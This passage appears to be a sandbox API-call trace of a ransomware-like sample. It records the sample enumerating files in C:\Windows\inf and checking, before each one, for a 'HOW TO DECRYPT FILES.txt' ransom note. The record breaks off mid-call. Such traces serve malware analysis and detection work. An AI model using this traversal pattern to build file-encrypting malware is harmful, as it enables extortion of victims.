[0130.524] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.524] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnge001.inf" | out: lpString1="C:\\Windows\\inf\\prnge001.inf") returned="C:\\Windows\\inf\\prnge001.inf" [0130.525] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d755595, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8d755595, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8d755595, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x22c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnge001.PNF", cAlternateFileName="")) returned 1 [0130.525] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.525] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnge001.inf") returned="prnge001.inf" [0130.525] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.525] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.525] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.525] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.525] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnge001.PNF" | out: lpString1="C:\\Windows\\inf\\prnge001.PNF") returned="C:\\Windows\\inf\\prnge001.PNF" [0130.526] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c9a3454, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c9a3454, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c9a3454, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x9a92, dwReserved0=0x0, dwReserved1=0x0, cFileName="prngt002.inf", cAlternateFileName="")) returned 1 [0130.526] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.526] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnge001.PNF") returned="prnge001.PNF" [0130.526] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.526] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.526] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.526] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.526] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prngt002.inf" | out: lpString1="C:\\Windows\\inf\\prngt002.inf") returned="C:\\Windows\\inf\\prngt002.inf" [0130.527] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eb910ba, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8eb910ba, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8eb910ba, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x84c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prngt002.PNF", cAlternateFileName="")) returned 1 [0130.527] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.527] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prngt002.inf") returned="prngt002.inf" [0130.545] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.545] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.545] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.545] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.546] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prngt002.PNF" | out: lpString1="C:\\Windows\\inf\\prngt002.PNF") returned="C:\\Windows\\inf\\prngt002.PNF" [0130.546] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c9c95b5, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c9c95b5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c9c95b5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa9d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="prngt003.inf", cAlternateFileName="")) returned 1 [0130.546] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.547] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prngt002.PNF") returned="prngt002.PNF" [0130.547] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.547] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.547] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.547] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.547] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prngt003.inf" | out: lpString1="C:\\Windows\\inf\\prngt003.inf") returned="C:\\Windows\\inf\\prngt003.inf" [0130.547] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ed33fdd, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8ed33fdd, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8ed33fdd, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x88e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="prngt003.PNF", cAlternateFileName="")) returned 1 [0130.547] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.547] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prngt003.inf") returned="prngt003.inf" [0130.548] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.548] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.548] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.548] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.548] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prngt003.PNF" | out: lpString1="C:\\Windows\\inf\\prngt003.PNF") returned="C:\\Windows\\inf\\prngt003.PNF" [0130.548] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ca15875, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6ca15875, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6ca15875, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x7632, dwReserved0=0x0, dwReserved1=0x0, cFileName="prngt004.inf", cAlternateFileName="")) returned 1 [0130.548] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.548] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prngt003.PNF") returned="prngt003.PNF" [0130.548] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.548] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.549] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.549] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.549] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prngt004.inf" | out: lpString1="C:\\Windows\\inf\\prngt004.inf") returned="C:\\Windows\\inf\\prngt004.inf" [0130.549] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ee64ae0, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8ee64ae0, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8ee64ae0, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x70f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prngt004.PNF", cAlternateFileName="")) returned 1 [0130.549] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.549] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prngt004.inf") returned="prngt004.inf" [0130.549] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.549] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.549] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.549] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.550] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prngt004.PNF" | out: lpString1="C:\\Windows\\inf\\prngt004.PNF") returned="C:\\Windows\\inf\\prngt004.PNF" [0130.550] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ca3b9d6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6ca3b9d6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6ca3b9d6, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1a34a, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnhp002.inf", cAlternateFileName="")) returned 1 [0130.550] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.550] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prngt004.PNF") returned="prngt004.PNF" [0130.550] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.550] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.550] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.550] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.550] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnhp002.inf" | out: lpString1="C:\\Windows\\inf\\prnhp002.inf") returned="C:\\Windows\\inf\\prnhp002.inf" [0130.551] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e50542e, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8e50542e, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8e50542e, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x17a24, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnhp002.PNF", cAlternateFileName="")) returned 1 [0130.551] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.551] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnhp002.inf") returned="prnhp002.inf" [0130.551] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.551] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.551] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.551] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.551] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnhp002.PNF" | out: lpString1="C:\\Windows\\inf\\prnhp002.PNF") returned="C:\\Windows\\inf\\prnhp002.PNF" [0130.551] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cafa0b7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cafa0b7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cafa0b7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x21b32, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnhp003.inf", cAlternateFileName="")) returned 1 [0130.552] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.552] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnhp002.PNF") returned="prnhp002.PNF" [0130.552] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.552] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.552] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.552] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.552] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnhp003.inf" | out: lpString1="C:\\Windows\\inf\\prnhp003.inf") returned="C:\\Windows\\inf\\prnhp003.inf" [0130.552] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e78cb93, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8e78cb93, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8e78cb93, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnhp003.PNF", cAlternateFileName="")) returned 1 [0130.552] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.553] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnhp003.inf") returned="prnhp003.inf" [0130.553] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.553] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.553] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.553] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.553] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnhp003.PNF" | out: lpString1="C:\\Windows\\inf\\prnhp003.PNF") returned="C:\\Windows\\inf\\prnhp003.PNF" [0130.553] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cc04a59, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cc04a59, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cc04a59, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x4f96, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnhp004.inf", cAlternateFileName="")) returned 1 [0130.553] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.553] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnhp003.PNF") returned="prnhp003.PNF" [0130.553] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.554] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.554] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.554] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.554] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnhp004.inf" | out: lpString1="C:\\Windows\\inf\\prnhp004.inf") returned="C:\\Windows\\inf\\prnhp004.inf" [0130.554] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e9c8037, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8e9c8037, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8e9c8037, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x5678, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnhp004.PNF", cAlternateFileName="")) returned 1 [0130.554] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.554] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnhp004.inf") returned="prnhp004.inf" [0130.554] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.554] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.554] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.554] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.555] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnhp004.PNF" | out: lpString1="C:\\Windows\\inf\\prnhp004.PNF") returned="C:\\Windows\\inf\\prnhp004.PNF" [0130.555] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cc2abb9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cc2abb9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cc2abb9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x6d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnhp005.inf", cAlternateFileName="")) returned 1 [0130.555] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.555] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnhp004.PNF") returned="prnhp004.PNF" [0130.555] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.555] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.555] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.555] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.555] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnhp005.inf" | out: lpString1="C:\\Windows\\inf\\prnhp005.inf") returned="C:\\Windows\\inf\\prnhp005.inf" [0130.556] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ec034db, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8ec034db, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8ec034db, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x7f14, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnhp005.PNF", cAlternateFileName="")) returned 1 [0130.556] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.556] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnhp005.inf") returned="prnhp005.inf" [0130.556] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.556] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.556] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.556] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.556] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnhp005.PNF" | out: lpString1="C:\\Windows\\inf\\prnhp005.PNF") returned="C:\\Windows\\inf\\prnhp005.PNF" [0130.557] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cc76e7a, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cc76e7a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cc76e7a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x83de, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnin002.inf", cAlternateFileName="")) returned 1 [0130.557] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.557] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnhp005.PNF") returned="prnhp005.PNF" [0130.557] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.557] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.557] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: 